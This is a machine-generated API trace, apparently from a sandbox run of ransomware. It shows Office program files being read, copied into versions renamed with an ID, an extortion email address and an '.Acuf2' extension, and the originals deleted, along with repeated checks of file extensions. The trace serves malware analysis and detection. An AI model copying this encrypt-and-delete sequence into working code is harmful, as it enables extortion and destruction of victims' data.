	[0264.692] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0264.692] GetLastError () returned 0x0
	[0264.692] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xa570, lpOverlapped=0x0) returned 1
	[0264.763] WriteFile (in: hFile=0x28c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xa580, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xa580, lpOverlapped=0x0) returned 1
	[0264.765] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.765] WriteFile (in: hFile=0x28c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0264.765] SetEndOfFile (hFile=0x28c) returned 1
	[0264.765] CloseHandle (hObject=0x28c) returned 1
	[0264.765] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.765] SetEndOfFile (hFile=0x218) returned 1
	[0264.768] CloseHandle (hObject=0x218) returned 1
	[0264.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl")) returned 1
	[0264.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59
	[0264.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59
	[0264.770] lstrlenW (lpString=".doc") returned 4
	[0264.770] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0264.770] lstrlenW (lpString=".docx") returned 5
	[0264.770] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1
	[0264.770] lstrlenW (lpString=".pdf") returned 4
	[0264.770] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0264.770] lstrlenW (lpString=".xls") returned 4
	[0264.770] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0264.770] lstrlenW (lpString=".xlsx") returned 5
	[0264.770] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1
	[0264.770] lstrlenW (lpString=".ppt") returned 4
	[0264.770] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0264.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59
	[0264.770] lstrlenW (lpString=".zip") returned 4
	[0264.770] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0264.770] lstrlenW (lpString=".rar") returned 4
	[0264.770] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0264.770] lstrlenW (lpString=".bz2") returned 4
	[0264.770] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0264.770] lstrlenW (lpString=".7z") returned 3
	[0264.770] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0264.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59
	[0264.770] lstrlenW (lpString=".dbf") returned 4
	[0264.770] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0264.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59
	[0264.770] lstrlenW (lpString=".1cd") returned 4
	[0264.770] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0264.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59
	[0264.770] lstrlenW (lpString=".jpg") returned 4
	[0264.770] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0264.775] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=392584) returned 1
	[0264.775] CloseHandle (hObject=0x218) returned 1
	[0264.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl")) returned 0x20
	[0264.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0264.776] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.776] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0264.776] GetLastError () returned 0x0
	[0264.776] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x5fd88, lpOverlapped=0x0) returned 1
	[0264.786] WriteFile (in: hFile=0x28c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x5fd90, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x5fd90, lpOverlapped=0x0) returned 1
	[0264.793] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.793] WriteFile (in: hFile=0x28c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0264.793] SetEndOfFile (hFile=0x28c) returned 1
	[0264.793] CloseHandle (hObject=0x28c) returned 1
	[0264.793] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.793] SetEndOfFile (hFile=0x218) returned 1
	[0264.802] CloseHandle (hObject=0x218) returned 1
	[0264.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\uml.vsl")) returned 1
	[0264.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55
	[0264.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55
	[0264.803] lstrlenW (lpString=".doc") returned 4
	[0264.803] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0264.803] lstrlenW (lpString=".docx") returned 5
	[0264.803] lstrcmpiW (lpString1=".docx", lpString2="L.VSL") returned -1
	[0264.803] lstrlenW (lpString=".pdf") returned 4
	[0264.803] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0264.803] lstrlenW (lpString=".xls") returned 4
	[0264.803] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0264.803] lstrlenW (lpString=".xlsx") returned 5
	[0264.803] lstrcmpiW (lpString1=".xlsx", lpString2="L.VSL") returned -1
	[0264.803] lstrlenW (lpString=".ppt") returned 4
	[0264.803] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0264.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55
	[0264.803] lstrlenW (lpString=".zip") returned 4
	[0264.803] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0264.803] lstrlenW (lpString=".rar") returned 4
	[0264.804] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0264.804] lstrlenW (lpString=".bz2") returned 4
	[0264.804] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0264.804] lstrlenW (lpString=".7z") returned 3
	[0264.804] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0264.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55
	[0264.804] lstrlenW (lpString=".dbf") returned 4
	[0264.804] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0264.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55
	[0264.804] lstrlenW (lpString=".1cd") returned 4
	[0264.804] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0264.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\UML.VSL") returned 55
	[0264.804] lstrlenW (lpString=".jpg") returned 4
	[0264.804] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0265.043] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=37264) returned 1
	[0265.043] CloseHandle (hObject=0x2a4) returned 1
	[0265.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll")) returned 0x20
	[0265.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0265.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60
	[0265.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60
	[0265.078] lstrlenW (lpString=".doc") returned 4
	[0265.078] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0265.078] lstrlenW (lpString=".docx") returned 5
	[0265.078] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0265.078] lstrlenW (lpString=".pdf") returned 4
	[0265.078] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0265.078] lstrlenW (lpString=".xls") returned 4
	[0265.078] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0265.078] lstrlenW (lpString=".xlsx") returned 5
	[0265.078] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0265.078] lstrlenW (lpString=".ppt") returned 4
	[0265.078] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0265.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60
	[0265.078] lstrlenW (lpString=".zip") returned 4
	[0265.078] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0265.078] lstrlenW (lpString=".rar") returned 4
	[0265.079] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0265.079] lstrlenW (lpString=".bz2") returned 4
	[0265.079] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0265.079] lstrlenW (lpString=".7z") returned 3
	[0265.079] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0265.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60
	[0265.079] lstrlenW (lpString=".dbf") returned 4
	[0265.079] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0265.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60
	[0265.079] lstrlenW (lpString=".1cd") returned 4
	[0265.079] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0265.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60
	[0265.079] lstrlenW (lpString=".jpg") returned 4
	[0265.079] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0265.079] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.080] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0265.080] GetLastError () returned 0x0
	[0265.080] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xa980, lpOverlapped=0x0) returned 1
	[0265.095] WriteFile (in: hFile=0x33c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xa990, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xa990, lpOverlapped=0x0) returned 1
	[0265.097] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.097] WriteFile (in: hFile=0x33c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.097] SetEndOfFile (hFile=0x33c) returned 1
	[0265.097] CloseHandle (hObject=0x33c) returned 1
	[0265.097] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.097] SetEndOfFile (hFile=0x35c) returned 1
	[0265.099] CloseHandle (hObject=0x35c) returned 1
	[0265.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\viscolor.vsl")) returned 1
	[0265.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60
	[0265.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60
	[0265.100] lstrlenW (lpString=".doc") returned 4
	[0265.100] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0265.100] lstrlenW (lpString=".docx") returned 5
	[0265.100] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1
	[0265.100] lstrlenW (lpString=".pdf") returned 4
	[0265.100] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0265.100] lstrlenW (lpString=".xls") returned 4
	[0265.100] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0265.100] lstrlenW (lpString=".xlsx") returned 5
	[0265.100] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1
	[0265.100] lstrlenW (lpString=".ppt") returned 4
	[0265.100] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0265.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60
	[0265.100] lstrlenW (lpString=".zip") returned 4
	[0265.101] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0265.101] lstrlenW (lpString=".rar") returned 4
	[0265.101] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0265.101] lstrlenW (lpString=".bz2") returned 4
	[0265.101] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0265.101] lstrlenW (lpString=".7z") returned 3
	[0265.101] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0265.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60
	[0265.101] lstrlenW (lpString=".dbf") returned 4
	[0265.101] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0265.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60
	[0265.101] lstrlenW (lpString=".1cd") returned 4
	[0265.101] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0265.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISCOLOR.VSL") returned 60
	[0265.101] lstrlenW (lpString=".jpg") returned 4
	[0265.101] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0265.115] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.115] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0265.116] GetLastError () returned 0x0
	[0265.116] ReadFile (in: hFile=0x32c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x3a980, lpOverlapped=0x0) returned 1
	[0265.123] WriteFile (in: hFile=0x218, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x3a990, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x3a990, lpOverlapped=0x0) returned 1
	[0265.127] ReadFile (in: hFile=0x32c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.127] WriteFile (in: hFile=0x218, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0265.127] SetEndOfFile (hFile=0x218) returned 1
	[0265.127] CloseHandle (hObject=0x218) returned 1
	[0265.127] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.127] SetEndOfFile (hFile=0x32c) returned 1
	[0265.132] CloseHandle (hObject=0x32c) returned 1
	[0265.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.133] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll")) returned 1
	[0265.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67
	[0265.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67
	[0265.133] lstrlenW (lpString=".doc") returned 4
	[0265.133] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0265.133] lstrlenW (lpString=".docx") returned 5
	[0265.133] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0265.133] lstrlenW (lpString=".pdf") returned 4
	[0265.133] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0265.133] lstrlenW (lpString=".xls") returned 4
	[0265.133] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0265.133] lstrlenW (lpString=".xlsx") returned 5
	[0265.133] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0265.133] lstrlenW (lpString=".ppt") returned 4
	[0265.133] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0265.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67
	[0265.133] lstrlenW (lpString=".zip") returned 4
	[0265.133] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0265.133] lstrlenW (lpString=".rar") returned 4
	[0265.133] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0265.133] lstrlenW (lpString=".bz2") returned 4
	[0265.133] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0265.133] lstrlenW (lpString=".7z") returned 3
	[0265.133] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0265.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67
	[0265.133] lstrlenW (lpString=".dbf") returned 4
	[0265.134] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0265.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67
	[0265.134] lstrlenW (lpString=".1cd") returned 4
	[0265.134] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0265.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL") returned 67
	[0265.134] lstrlenW (lpString=".jpg") returned 4
	[0265.134] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0265.134] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=5802528) returned 1
	[0265.134] CloseHandle (hObject=0x32c) returned 1
	[0265.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs")) returned 0x20
	[0265.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0265.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61
	[0265.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61
	[0265.135] lstrlenW (lpString=".doc") returned 4
	[0265.135] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0265.135] lstrlenW (lpString=".docx") returned 5
	[0265.135] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0265.135] lstrlenW (lpString=".pdf") returned 4
	[0265.135] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0265.135] lstrlenW (lpString=".xls") returned 4
	[0265.135] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0265.135] lstrlenW (lpString=".xlsx") returned 5
	[0265.135] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
	[0265.135] lstrlenW (lpString=".ppt") returned 4
	[0265.135] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0265.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61
	[0265.135] lstrlenW (lpString=".zip") returned 4
	[0265.135] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0265.135] lstrlenW (lpString=".rar") returned 4
	[0265.135] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0265.135] lstrlenW (lpString=".bz2") returned 4
	[0265.135] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0265.135] lstrlenW (lpString=".7z") returned 3
	[0265.135] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0265.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61
	[0265.135] lstrlenW (lpString=".dbf") returned 4
	[0265.135] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0265.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61
	[0265.135] lstrlenW (lpString=".1cd") returned 4
	[0265.135] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
